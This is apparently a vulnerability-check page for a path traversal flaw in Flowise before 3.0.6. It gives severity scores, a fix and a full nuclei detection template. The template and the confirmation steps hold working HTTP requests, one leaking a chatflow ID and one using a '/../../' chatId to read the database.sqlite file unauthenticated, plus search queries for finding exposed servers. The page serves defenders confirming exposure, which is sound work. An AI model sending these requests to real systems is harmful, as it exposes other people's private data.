Flowise - Path Traversal

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.

Impact

Unauthenticated attackers can read sensitive files, exposing database content and potentially compromising system confidentiality.

Fix

Update to version 3.0.6 or later.

How to confirm it

Send: POST /api/v1/vector/upsert/
Positive when: contains "EISDIR" and ".flowise/storage"
Send: GET /api/v1/get-upload-file?chatflowId={{chatflowId}}&chatId=/../../&fileName=database.sqlite
Positive when: contains "SQLite format 3" AND status 200

Run it with nuclei: nuclei -id CVE-2025-71324 -u <target>

The full check

id: CVE-2025-71324

info:
  name: Flowise - Path Traversal
  author: theamanrawat,pdteam
  severity: high
  description: |
    Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.
  impact: |
    Unauthenticated attackers can read sensitive files, exposing database content and potentially compromising system confidentiality.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71324
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-71324
    epss-score: 0.0157
    epss-percentile: 0.75575
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: FlowiseAI
    product: Flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/vector/upsert/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="files"; filename="?"
        Content-Type: text/plain

        test
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: word
        part: body
        words:
          - "EISDIR"
          - ".flowise/storage"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: chatflowId
        part: body
        internal: true
        group: 1
        regex:
          - 'storage/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})'

  - raw:
      - |
        GET /api/v1/get-upload-file?chatflowId={{chatflowId}}&chatId=/../../&fileName=database.sqlite HTTP/1.1
        Host: {{Hostname}}
        x-request-from: internal

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQLite format 3"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from